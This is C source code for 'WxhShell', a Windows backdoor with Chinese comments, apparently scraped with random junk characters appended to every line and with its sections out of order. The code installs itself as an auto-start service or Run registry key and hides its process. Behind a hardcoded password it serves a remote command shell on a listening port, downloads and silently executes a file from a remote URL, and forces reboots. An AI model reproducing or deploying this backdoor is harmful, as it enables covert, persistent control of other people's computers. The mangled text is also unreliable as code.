    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #crQ1p) \  
    if(Boot(SHUTDOWN)) 5Y'qaIFR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~f1%8z  
    else { lVR~Bh  
    closesocket(wsh); _j/<{vSy  
    ExitThread(0); #TX/aKr:  
    } E+R1 !.  
    break; )Y6 +  
    } i6tf2oqO7  
  // 获取shell ith 3 =`3  
  case 's': { m}aB?+i  
    CmdShell(wsh); .4M.y:F  
    closesocket(wsh); tI TS1  
    ExitThread(0); RJ ||}5  
    break; x?p1 HUK  
  } @qqg e'  
  // 退出 6YLj^w] %  
  case 'x': { )72+\C[*~r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YY((V@|K  
    CloseIt(wsh); nE&@Q  
    break; 1s2>C!\  
    } EQyC1j  
  // 离开 RO VW s/  
  case 'q': { C]eSizS.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4Lh!8g=/  
    closesocket(wsh); eJVjuG  
    WSACleanup(); B=yqW  
    exit(1); N^ds RYC  
    break; V>)OpvoT#  
        } t?ZI".>  
  } ^ft>@=K(|  
  } YEs&  
R{3N&C  
  // 提示信息 YX7L?=;.@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *:YiimOY"  
} C'+YQ]u  
  } EXwo,?I  
>CgTs  
  return; udF~5w H  
} /-ch`u md  
<fjX[l<Uz  
// shell模块句柄 {3p4:*}  
int CmdShell(SOCKET sock) Av$^  
{ 7 60Y$/Wz  
STARTUPINFO si; ?m=N]!n  
ZeroMemory(&si,sizeof(si)); #*uL)2nR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +p_CN*10H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pb?c$n$u*  
PROCESS_INFORMATION ProcessInfo; .b&t ;4q  
char cmdline[]="cmd"; *_{j=sd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /k6MzFoid  
  return 0; *{@Nq=fE  
} c9'vDTE%~  
P*Uwg&Qz)  
// 自身启动模式 }bpQq6ZF  
int StartFromService(void) }DE g-j,F  
{ 9J*\T(W  
typedef struct Gg3,:A_ w  
{ g^2OkV(  
  DWORD ExitStatus; <#y[gTJ<'>  
  DWORD PebBaseAddress; yZ(zdM\/sL  
  DWORD AffinityMask; BB$>h}  
  DWORD BasePriority; [0[i5'K:  
  ULONG UniqueProcessId; k>Vci{v  
  ULONG InheritedFromUniqueProcessId; kr5">"7  
}   PROCESS_BASIC_INFORMATION; VimE@Hz  
He/8=$c%  
PROCNTQSIP NtQueryInformationProcess; +I:Unp  
;Ax }KN7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C12Fl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nw/  ku  
eKLZt%=  
  HANDLE             hProcess; `$<.pOm  
  PROCESS_BASIC_INFORMATION pbi; |'8Nh  
Nk 8B_{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7Lc]HSZo,  
  if(NULL == hInst ) return 0; )?n aN  
o>i4CCU+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A5RN5`}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]G= L=D^cK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UWJ8amA  
IH&|Tcf\  
  if (!NtQueryInformationProcess) return 0; V`d,qn)i  
+wU@ynw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F>6|3bOR  
  if(!hProcess) return 0; @R"JW\bd  
f:,DWw`B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UiP"Ixg6  
o.g V4%  
  CloseHandle(hProcess); f#"J]p  
{ Fb*&|-n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n)e 6>R ;  
if(hProcess==NULL) return 0; vHc%z$-d  
!r8 `Yrn  
HMODULE hMod; YQ)kRhFA  
char procName[255]; c(m<h+ 2VL  
unsigned long cbNeeded; 1 ~*7f>  
]BZA:dd.G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q[ZTHd.-  
=tn)}Y.<e  
  CloseHandle(hProcess); 6qpJUkd  
9C9oUtS  
if(strstr(procName,"services")) return 1; // 以服务启动 ,vawzq[oSy  
0 [# 3;a  
  return 0; // 注册表启动 a=1@*ID  
} NC`aP0S  
nFe<w  
// 主模块 q=m'^ ,gPS  
int StartWxhshell(LPSTR lpCmdLine) <CiSK!  
{ ]t,BMu=%  
  SOCKET wsl; O`\;e>!t  
BOOL val=TRUE; @6sqMw}  
  int port=0; Hqx-~hQO  
  struct sockaddr_in door; KYhwOGN  
b<ZIWfs  
  if(wscfg.ws_autoins) Install(); 9(7-{,c  
aEWWP]  
port=atoi(lpCmdLine); ^j7Vt2-  
4G0m\[Du  
if(port<=0) port=wscfg.ws_port; V>LwqS~`  
.},'~NM]  
  WSADATA data; yNo0ubY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *W1dG#Np}  
~?Pw& K2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6OIte -c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eA?RK.e  
  door.sin_family = AF_INET; I)[DTCJ~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aCj&O:]=  
  door.sin_port = htons(port); :#ik. D  
^|>PA:%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n\D&!y[]F  
closesocket(wsl); P=Jo+4O  
return 1; IdYt\^@>  
} RJ&RTo  
xn(kKB.  
  if(listen(wsl,2) == INVALID_SOCKET) { At>DjKx]O  
closesocket(wsl); vWv"  
return 1; rfJz8uF%  
} $6 9&O  
  Wxhshell(wsl); ,Vm < rK  
  WSACleanup(); hH 3RP{'=  
{9pZ)tB  
return 0; 9T9!kb  
]|a g  
}  A,<E\  
iy!=6  
// 以NT服务方式启动 n'LrQU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Uz8ff  
{ #A/  
DWORD   status = 0; Rsk4L0  
  DWORD   specificError = 0xfffffff; $GcqBg-Hi  
]p GL`ge5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CwzZ8.o$i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LL|r A:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ie95rZp  
  serviceStatus.dwWin32ExitCode     = 0; iHf$  
  serviceStatus.dwServiceSpecificExitCode = 0; & h)yro  
  serviceStatus.dwCheckPoint       = 0; 6;d*r$0Fc  
  serviceStatus.dwWaitHint       = 0; 1(R}tRR7R  
ZvX*t)VjTz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E CuH%b^,  
  if (hServiceStatusHandle==0) return; %)1?TU  
i9|Sa6vuI  
status = GetLastError(); fU}ub2_in  
  if (status!=NO_ERROR) |aS.a&vwR  
{ @*XV`_!h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  4e7-0}0  
    serviceStatus.dwCheckPoint       = 0; s 5Qcl;}  
    serviceStatus.dwWaitHint       = 0; 4E+e}\r:6  
    serviceStatus.dwWin32ExitCode     = status; bsli0FJSh'  
    serviceStatus.dwServiceSpecificExitCode = specificError; V)k4:H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pYEMmZ?L  
    return; |syR6(U}  
  } .`H5cuF`  
lrE5^;/s1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ? :%@vM  
  serviceStatus.dwCheckPoint       = 0; ec;o\erPG  
  serviceStatus.dwWaitHint       = 0; I$G['` XX/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {dlXLx!B  
} +3BN}  
J*A,o~U|  
// 处理NT服务事件,比如:启动、停止 | YWD8 +  
VOID WINAPI NTServiceHandler(DWORD fdwControl) adcE'fA<_  
{ EME|k{W  
switch(fdwControl) ;JT-kw6l5K  
{ `$ 9x1dx  
case SERVICE_CONTROL_STOP: a58H9w"u)  
  serviceStatus.dwWin32ExitCode = 0; =y*IfG9b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t{9GVLZ  
  serviceStatus.dwCheckPoint   = 0; 0Mm)`!TLSW  
  serviceStatus.dwWaitHint     = 0; g:@#@1rB6  
  { |wMN}bq|T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^{`exCwM x  
  } q.bSIV|  
  return; 'H>^2C iM  
case SERVICE_CONTROL_PAUSE: 5C ]x!>kX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,&.!?0+  
  break; !;A\.~-!G  
case SERVICE_CONTROL_CONTINUE: %sP*=5?vA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q?yVR3]M  
  break; H*R"ntI?w  
case SERVICE_CONTROL_INTERROGATE: }($5k]]clP  
  break; IEi^kJflU  
}; uGGt\.$]s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C}Cs8eUn  
} =UQ3HQD  
Btn?N  
// 标准应用程序主函数 7n<{tM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !Ai@$tl[S  
{ j,eo2HaL  
Zu[su>\  
// 获取操作系统版本 _V6ukd"B~  
OsIsNt=GetOsVer(); b8UO,fY q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wn%A4-%{  
p6V0`5@t  
  // 从命令行安装 $6 f3F?y7  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^ZcGY+/~  
TD0 B%  
  // 下载执行文件 /([kh~a  
if(wscfg.ws_downexe) { ;)*eo_tQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %tGO?JMkd  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^yp{32  
} N4!O.POP  
Ti5-6%~&  
if(!OsIsNt) { 6 H$FhJF  
// 如果时win9x,隐藏进程并且设置为注册表启动 -Q*gW2KmV  
HideProc(); O^ yG?b  
StartWxhshell(lpCmdLine); 24eLB? H  
} l ymCH  
else CD~.z7,LC  
  if(StartFromService()) Xx:"4l.w.  
  // 以服务方式启动 $U~]=.n  
  StartServiceCtrlDispatcher(DispatchTable); )Aqtew+A&  
else h2R::/2.  
  // 普通方式启动 7{*>agQh  
  StartWxhshell(lpCmdLine); gM:".Ee  
q2E_ A  
return 0; wIt}dc  
} F JyT+  
m{HS0l'  
(!WD1w   
xb8!B  
=========================================== `|q(h Ow2  
~]2K ^bh8&  
5rik7a)Z]  
?e 4/p  
5\ nAeP  
F)eelPZ+,  
" 4V`G,W4^J  
c^W)07-X5y  
#include <stdio.h> a:w#s}bL  
#include <string.h> &^jXEz;  
#include <windows.h> ` Sz}`+E  
#include <winsock2.h> G 3ptx! D  
#include <winsvc.h> NgPk&niM  
#include <urlmon.h> bk[!8- b/a  
NzvXN1_%  
#pragma comment (lib, "Ws2_32.lib") zO6oT1I  
#pragma comment (lib, "urlmon.lib") i/Zd8+.n$  
7%M_'P4 V  
#define MAX_USER   100 // 最大客户端连接数 3Y$GsN4ln  
#define BUF_SOCK   200 // sock buffer Q$"D]!G  
#define KEY_BUFF   255 // 输入 buffer FYQS)s  
;2QP7PrSY  
#define REBOOT     0   // 重启 gB33?  
#define SHUTDOWN   1   // 关机 +ZP7{%  
i83OOV$1J  
#define DEF_PORT   5000 // 监听端口 9pfIzs su3  
ECmW`#Otb)  
#define REG_LEN     16   // 注册表键长度 Z% UP6%  
#define SVC_LEN     80   // NT服务名长度 ,ig/s2ZG6X  
8}:nGK|kx  
// 从dll定义API FS.L\MjV]U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5b7RY V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]`WJOx4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1'8YkhQ2a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nh +H9  
5z)~\;[ -  
// wxhshell配置信息 }Q+|W=2t  
struct WSCFG { JBZ@'8eqi]  
  int ws_port;         // 监听端口 WcGS9`m/  
  char ws_passstr[REG_LEN]; // 口令 @=u3ZVD  
  int ws_autoins;       // 安装标记, 1=yes 0=no ns4,@C$  
  char ws_regname[REG_LEN]; // 注册表键名 I> $&-i  
  char ws_svcname[REG_LEN]; // 服务名 OY({.uVdX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FS1z`wYP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E]r?{t`]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 owv[M6lbD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H\[W/"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wMN]~|z>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &K,i f  
R4d=S4 i  
}; Tlr v={  
uB?ZcF}Tk  
// default Wxhshell configuration .=; ;  
struct WSCFG wscfg={DEF_PORT, )V9bI(v  
    "xuhuanlingzhe", lp8v0e4  
    1, dj%!I:Q>u  
    "Wxhshell", <1!O1ab  
    "Wxhshell", #g!.T g'  
            "WxhShell Service", 2 yz _  
    "Wrsky Windows CmdShell Service", _q^E,P  
    "Please Input Your Password: ", `Q,H|hp;k;  
  1, *VN6cSq  
  "http://www.wrsky.com/wxhshell.exe", a8Wwq?@  
  "Wxhshell.exe" aw>#P   
    }; _o~ nr]zx  
8q7b_Pq1U  
// 消息定义模块 <gBA1oRz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <OPArht  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L}NSR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }<:}XlwT%  
char *msg_ws_ext="\n\rExit."; /qw.p#  
char *msg_ws_end="\n\rQuit."; QS`]  
char *msg_ws_boot="\n\rReboot..."; 1h5 Akq  
char *msg_ws_poff="\n\rShutdown..."; 5F"jk d+  
char *msg_ws_down="\n\rSave to "; .rqhi  
/?F/9hL  
char *msg_ws_err="\n\rErr!"; yx&51G$  
char *msg_ws_ok="\n\rOK!"; ;8{4!S&b  
C-6F]2:  
char ExeFile[MAX_PATH]; 1rF]yi:X  
int nUser = 0; !*bMa8]*  
HANDLE handles[MAX_USER]; q}#6e]t  
int OsIsNt; "v({ ,  
$#pP Z  
SERVICE_STATUS       serviceStatus; KRMQtgahc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OCaq3_#tZ  
TOXfWEU3>  
// 函数声明 e)#J1(j_  
int Install(void); c*L\_Vx+  
int Uninstall(void); 8~z~_TD6m@  
int DownloadFile(char *sURL, SOCKET wsh); 6){]1h"  
int Boot(int flag); e-#BDN(O  
void HideProc(void); ^pF&` 2eD  
int GetOsVer(void); QD*35Y!d  
int Wxhshell(SOCKET wsl); [dIXR  
void TalkWithClient(void *cs); !1 8clL  
int CmdShell(SOCKET sock); aa#Y=%^  
int StartFromService(void); Jx7C'~,J  
int StartWxhshell(LPSTR lpCmdLine); H0`]V6+<f  
"~7>\>UFh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #S*/bao#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |\IN.W[EL  
K<Iv:5-2  
// 数据结构和表定义 4\u1TYR  
SERVICE_TABLE_ENTRY DispatchTable[] = "x*e gI  
{ PV\+P6aIb  
{wscfg.ws_svcname, NTServiceMain}, ^^as'Dk  
{NULL, NULL} oO|KEY(  
}; 0C irfcs}Z  
6vNrBB  
// 自我安装 %Iv,@}kvT+  
int Install(void) KZ ;k)O.Ov  
{ ,J^b0@S  
  char svExeFile[MAX_PATH]; "haL  
  HKEY key; dj7hx"BI  
  strcpy(svExeFile,ExeFile); yvH A7eq*"  
lc,tVe_  
// 如果是win9x系统,修改注册表设为自启动 ,\  
if(!OsIsNt) { h!.^?NF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p#?7 w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Unb? {,&2  
  RegCloseKey(key); :f}9($  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *|C^=*j9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T;y>>_,  
  RegCloseKey(key); b TM{l.Aq3  
  return 0; %GA"GYL9'  
    } 9c#+qH  
  } pU%n]]qF  
} #W'HR  
else { 'H&2HXw&2  
XJ` ]ga  
// 如果是NT以上系统,安装为系统服务 Z/0fXn})  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (SDr!!V<  
if (schSCManager!=0) uU <=d  
{ _c*=4y  
  SC_HANDLE schService = CreateService bg&zo;Ck8T  
  ( ;/fF,L{c  
  schSCManager, X>(TrdK_9"  
  wscfg.ws_svcname, ~yfNxH~k  
  wscfg.ws_svcdisp, %]DP#~7[|  
  SERVICE_ALL_ACCESS, ")dH,:#S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V#t%/l  
  SERVICE_AUTO_START, qx8fRIK%  
  SERVICE_ERROR_NORMAL, . Z.)t  
  svExeFile, Mg OR2,cR  
  NULL, YY)s p%  
  NULL, vCxD~+zf  
  NULL, NI#:|}CYS  
  NULL, x:>wUhzZ  
  NULL E^lvbLh'  
  ); Wm"4Ae:B  
  if (schService!=0) Z X(z;|l45  
  { gp^ 5#  
  CloseServiceHandle(schService); C8e !H  
  CloseServiceHandle(schSCManager); 9S7 kUl{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5rRN-  
  strcat(svExeFile,wscfg.ws_svcname); :xD=`ib  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V\6[}J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^G.Xc\^w:  
  RegCloseKey(key); QM O!v;  
  return 0; QP)pgAc  
    } %Nhx;{  
  } ,TPISs  
  CloseServiceHandle(schSCManager); g[I b,la_a  
} L%K\C  
} c^u"I'#Q  
/X(t1+  
return 1; 8X`tU<Ab  
} pr#z=vqH  
WObvbaK  
// 自我卸载 TUDr\' @/f  
int Uninstall(void) ? glSC$b  
{ IOoz^/'  
  HKEY key; j!4et;  
a1.Ptf eW|  
if(!OsIsNt) { sqJSSNt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ 3?LqJ  
  RegDeleteValue(key,wscfg.ws_regname); U,gti,IX^  
  RegCloseKey(key); P h}|dGb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %D8ZO0J7H  
  RegDeleteValue(key,wscfg.ws_regname); 7L@K _ZJ  
  RegCloseKey(key); W4e5Rb4~f"  
  return 0; ryCI>vJz  
  } AvSM ^  
} .J.-Mm` .  
} I1\a[Xe8E  
else { 1_ C]*p  
%1O[i4s:-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (+u39NQV  
if (schSCManager!=0) J-) XQDD  
{ \XM^oE#G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $dzy%lle  
  if (schService!=0) D]W$?( =4  
  { 9}uW}yJ  
  if(DeleteService(schService)!=0) { )\be2^p  
  CloseServiceHandle(schService); ks97k8B  
  CloseServiceHandle(schSCManager); 80&.JP.  
  return 0; YoLx>8  
  } D3^7y.u<)  
  CloseServiceHandle(schService); 'XofD}dm  
  } I_%a{$Gjl  
  CloseServiceHandle(schSCManager); %4 XJn@J  
} vR=6pl$|~~  
} J9Ou+6u(  
9,_mS{+B  
return 1; ] GTAq  
} $:j G-r  
EV^~eTz  
// 从指定url下载文件 }kK[S|XVO  
int DownloadFile(char *sURL, SOCKET wsh) =;|QZ"%E  
{ FwY&/\J7V  
  HRESULT hr; f<*Js)k  
char seps[]= "/"; MR,R}B$  
char *token; I,VH=Yn5,  
char *file; 3a 1u  
char myURL[MAX_PATH]; Cc<,z*T  
char myFILE[MAX_PATH]; w TGb d  
]f: v,a  
strcpy(myURL,sURL); TsUOpEuX  
  token=strtok(myURL,seps); -zO2|@S,  
  while(token!=NULL) 'vq:D$A  
  { k`9)=&zX+  
    file=token; `S.ZS}~!F  
  token=strtok(NULL,seps); )0e2ic/  
  } d]i(h~?_  
RQp|T5Er*  
GetCurrentDirectory(MAX_PATH,myFILE); 7kK #\dI  
strcat(myFILE, "\\"); )r z+'|,  
strcat(myFILE, file); *"98L+  
  send(wsh,myFILE,strlen(myFILE),0); >,gvb5  
send(wsh,"...",3,0); k({\/t3i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c.f"Gv  
  if(hr==S_OK) Ev2HGU[  
return 0; }%`~T>/  
else )T66<UDK|  
return 1; Y<b-9ai<w  
[kzd(u  
} kWb2F7m  
;v~-'*0  
// 系统电源模块 X!},8}~J~  
int Boot(int flag) *;U'[H3Q  
{ 9lj!C '  
  HANDLE hToken; rgf#wH%hN  
  TOKEN_PRIVILEGES tkp; GF:`>u{C  
@@g\2Gs  
  if(OsIsNt) { y"<))-MH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8?O>ZZtu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P;8>5;U4-  
    tkp.PrivilegeCount = 1; l Js <  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /?6|&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J5[~LZKW  
if(flag==REBOOT) { r-IVb&uF b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) deeU@x`f<  
  return 0; nL}5cPI  
} <0.$'M~E  
else { C*te^3k>B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tYqs~B3  
  return 0; I.@hW>k  
} R%H$%cnj  
  } xwZ8D<e-,  
  else { Yy JPHw)Z  
if(flag==REBOOT) { SL&hJs4c'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H{c?lT  
  return 0; Tv]<SI<B[  
} LaIJ1jf  
else { 3q:{1rc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #Hh^3N  
  return 0; HygY>s+3[  
} DtWwG C  
} 0g<K[mPr7  
uw7{>9  
return 1; +wk`;0sA  
} N_Af3R1_  
^, i>'T  
// win9x进程隐藏模块 Na,_  
void HideProc(void) ` C+HE$B  
{ ixh47M  
O0*e)i8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZRUhAp'<qj  
  if ( hKernel != NULL ) ?Jusl8Sm  
  {  `}no9$l~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hj1 EGCA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7ji=E";.w  
    FreeLibrary(hKernel); _0 snAt^iC  
  } ]AS"z<  
/Go K}W}  
return; Uo_tUp_Q  
} ]Lqt( c  
p'?w2YN/  
// 获取操作系统版本 xaKst p  
int GetOsVer(void) >Dg#9  
{ i~{ _eQV  
  OSVERSIONINFO winfo; ,Ci/xnI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A?"h@-~2  
  GetVersionEx(&winfo); UU}7U]9u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E}Xka1 Bn  
  return 1; N(3R|Ii  
  else r\9TMg`C  
  return 0; ftavbNR`W  
} n1:v HBM@\  
/WnE:3G  
// 客户端句柄模块 ]y)Q!J )Q  
int Wxhshell(SOCKET wsl) baoD(0d  
{ ]`w}+B'/  
  SOCKET wsh; \Z-2leL)j  
  struct sockaddr_in client; 2#/p|$;Ec'  
  DWORD myID; 2$zU&p7sV  
Q\J,}1<`6  
  while(nUser<MAX_USER) }yEoEI`  
{ 9<]a!:!^  
  int nSize=sizeof(client); :Px\qh}K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oeL5}U6>g  
  if(wsh==INVALID_SOCKET) return 1; w3D]~&]  
4DO/rtkVq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lg`Jp&Kg  
if(handles[nUser]==0) cf[vf!vi  
  closesocket(wsh); r<L#q)]  
else 22KI]$D#f  
  nUser++; ?Zyok]s  
  } gw3NS8 A+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yi rC*  
+ydm,aKk  
  return 0; WA.\*Nqze  
} kJ: 2;t=  
ZAg;q#z j  
// 关闭 socket 3On JWuVfZ  
void CloseIt(SOCKET wsh) 5>ST"l_ca  
{ O'}l lo  
closesocket(wsh);  ?9u4a_x  
nUser--; {%']w  
ExitThread(0); d\XRUO[  
} i&@,5/'-_O  
t&814Uf&\  
// 客户端请求句柄 D)&o8D`  
void TalkWithClient(void *cs) f@:CyB GQ  
{ j [S`^2  
iTNqWU-o  
  SOCKET wsh=(SOCKET)cs; ?:|YGLaB  
  char pwd[SVC_LEN]; U?U(;nSR\A  
  char cmd[KEY_BUFF]; j/<??v4F4  
char chr[1]; uJ'9R`E ]1  
int i,j; A1,4kqmE  
B$`lY DqaG  
  while (nUser < MAX_USER) { gf$HuCh|  
-%uy63LbHF  
if(wscfg.ws_passstr) { 5&4F,v[zp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yCM{M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <~%t$:  
  //ZeroMemory(pwd,KEY_BUFF); zw:/!MS  
      i=0; \kwe51MQ  
  while(i<SVC_LEN) { +|nsu4t,<  
}?O[N}>,m  
  // 设置超时 Yn[x #DS  
  fd_set FdRead; `5"/dC  
  struct timeval TimeOut; CT5Y/E? }  
  FD_ZERO(&FdRead); ehc<|O9tY  
  FD_SET(wsh,&FdRead); @&/\r 7 '  
  TimeOut.tv_sec=8; ?2~U2Ir]:  
  TimeOut.tv_usec=0; 8SD}nFQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =O^7TrM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R/N<0!HZ  
^L~ [+|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o?R,0 -  
  pwd=chr[0]; Ry%YM,K3  
  if(chr[0]==0xd || chr[0]==0xa) { l/V&s<  
  pwd=0; gv` h-b  
  break; |z7dRDU}]  
  } c=t*I0-OVS  
  i++; 8D~Dd!~P  
    } &y3B)#dIJ  
 $o+&Y5:  
  // 如果是非法用户,关闭 socket `p"U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CSL4P)  
} *!u?  
Rc7.M"wzjX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mahi7eU P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m0iV m|  
By/bVZks  
while(1) { Pt3[|4L  
`Wwh`]#"~d  
  ZeroMemory(cmd,KEY_BUFF); 3GWrn ,f  
u@"o[e':  
      // 自动支持客户端 telnet标准   ty;o&w$  
  j=0; aT/KT,!  
  while(j<KEY_BUFF) {  ,(hY%M&\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KS>Fl->  
  cmd[j]=chr[0]; 2wOy}:  
  if(chr[0]==0xa || chr[0]==0xd) { L9'-  
  cmd[j]=0; cd"wNH-  
  break; 2 TCRS#z  
  } 5fxbA2\  
  j++; $WD +Q@6  
    } y84XoDQ  
2vXGO|W  
  // 下载文件 uk{J@&F  
  if(strstr(cmd,"http://")) { G+Ei#:W,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rH^/8|}&s  
  if(DownloadFile(cmd,wsh)) "11j$E9#\n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <d<RK@2-  
  else InX{V|CW?  
